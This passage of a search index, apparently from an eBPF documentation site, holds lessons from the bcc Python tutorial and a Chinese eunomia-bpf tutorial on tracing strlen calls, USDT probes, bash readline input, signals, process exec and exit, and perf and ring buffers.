got_bits;\toffset:8;\tsize:4;\tsigned:1; field:int pool_left;\toffset:12;\tsize:4;\tsigned:1; field:int input_left;\toffset:16;\tsize:4;\tsigned:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left In this case, we were printing the got_bits member.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"335","title":"Lesson 12. urandomread.py"},"336":{"body":"Convert disksnoop.py from a previous lesson to use the block:block_rq_issue and block:block_rq_complete tracepoints.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 13. disksnoop.py fixed","id":"336","title":"Lesson 13. disksnoop.py fixed"},"337":{"body":"This program instruments a user-level function, the strlen() library function, and frequency counts its string argument. Example output: # strlen_count.py\nTracing strlen()... Hit Ctrl-C to end.\n^C COUNT STRING 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 \"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" These are various strings that are being processed by this library function while tracing, along with their frequency counts. strlen() was called on \"LC_ALL\" 12 times, for example. Code is examples/tracing/strlen_count.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // could also use `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # header\nprint(\"Tracing strlen()... Hit Ctrl-C to end.\") # sleep until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) Things to learn: PT_REGS_PARM1(ctx): This fetches the first argument to strlen(), which is the string. b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): Attach to library \"c\" (if this is the main program, use its pathname), instrument the user-level function strlen(), and on execution call our C function count().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 14. strlen_count.py","id":"337","title":"Lesson 14. strlen_count.py"},"338":{"body":"This program instruments a user statically-defined tracing (USDT) probe, which is the user-level version of a kernel tracepoint. Sample output: # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png Relevant code from examples/tracing/nodejs_http_server.py : from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h>\nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) Things to learn: bpf_usdt_readarg(6, ctx, &addr): Read the address of argument 6 from the USDT probe into addr. bpf_probe_read_user(&path, sizeof(path), (void *)addr): Now the string addr points to into our path variable. u = USDT(pid=int(pid)): Initialize USDT tracing for the given PID. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): Attach our do_trace() BPF C function to the Node.js http__server__request USDT probe. b = BPF(text=bpf_text, usdt_contexts=[u]): Need to pass in our USDT object, u, to BPF object creation.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 15. nodejs_http_server.py","id":"338","title":"Lesson 15. nodejs_http_server.py"},"339":{"body":"This is an older tutorial included as a bonus lesson. Use this for recap and to reinforce what you've already learned. This is a slightly more complex tracing example than Hello World. This program will be invoked for every task change in the kernel, and record in a BPF map the new and old pids. The C program below introduces a new concept: the prev argument. This argument is treated specially by the BCC frontend, such that accesses to this variable are read from the saved context that is passed by the kprobe infrastructure. The prototype of the args starting from position 1 should match the prototype of the kernel function being kprobed. If done so, the program will have seamless access to the function parameters. #include <uapi/linux/ptrace.h>\n#include <linux/sched.h> struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} The userspace component loads the file shown above, and attaches it to the finish_task_switch kernel function. The [] operator of the BPF object gives access to each BPF_HASH in the program, allowing pass-through access to the values residing in the kernel. Use the object as you would any other python dict object: read, update, and deletes are all allowed. from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # generate many schedule events\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) These programs can be found in the files examples/tracing/task_switch.c and examples/tracing/task_switch.py respectively.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 16. task_switch.c","id":"339","title":"Lesson 16. task_switch.c"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"For further study, see Sasha Goldshtein's linux-tracing-workshop , which contains additional labs. There are also many tools in bcc /tools to study. Please read CONTRIBUTING-SCRIPTS.md if you wish to contribute tools to bcc. At the bottom of the main README.md , you'll also find methods for contacting us. Good luck, and happy tracing!","breadcrumbs":"bcc Python Developer Tutorial » Lesson 17. Further Study","id":"340","title":"Lesson 17. Further Study"},"341":{"body":"To do.","breadcrumbs":"bcc Python Developer Tutorial » Networking","id":"341","title":"Networking"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"38":{"body":"示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d to PID %d, ret = %d\", eventp->pid, eventp->comm, eventp->sig, eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和系统调用的返回值。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-3517 [003] d..31 82575.798191: bpf_trace_printk: PID 3517 (node) sent signal 0 to PID 3427, ret = 0 node-15194 [003] d..31 82575.849227: bpf_trace_printk: PID 15194 (node) sent signal 0 to PID 3427, ret = 0 node-30016 [003] d..31 82576.001361: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0 cpptools-srv-38617 [002] d..31 82576.461085: bpf_trace_printk: PID 38617 (cpptools-srv) sent signal 0 to PID 30496, ret = 0 node-30040 [002] d..31 82576.467720: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); pid = (pid_t)id; tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&event.comm, sizeof(event.comm)); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"exitsnoop.h\"\nchar LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 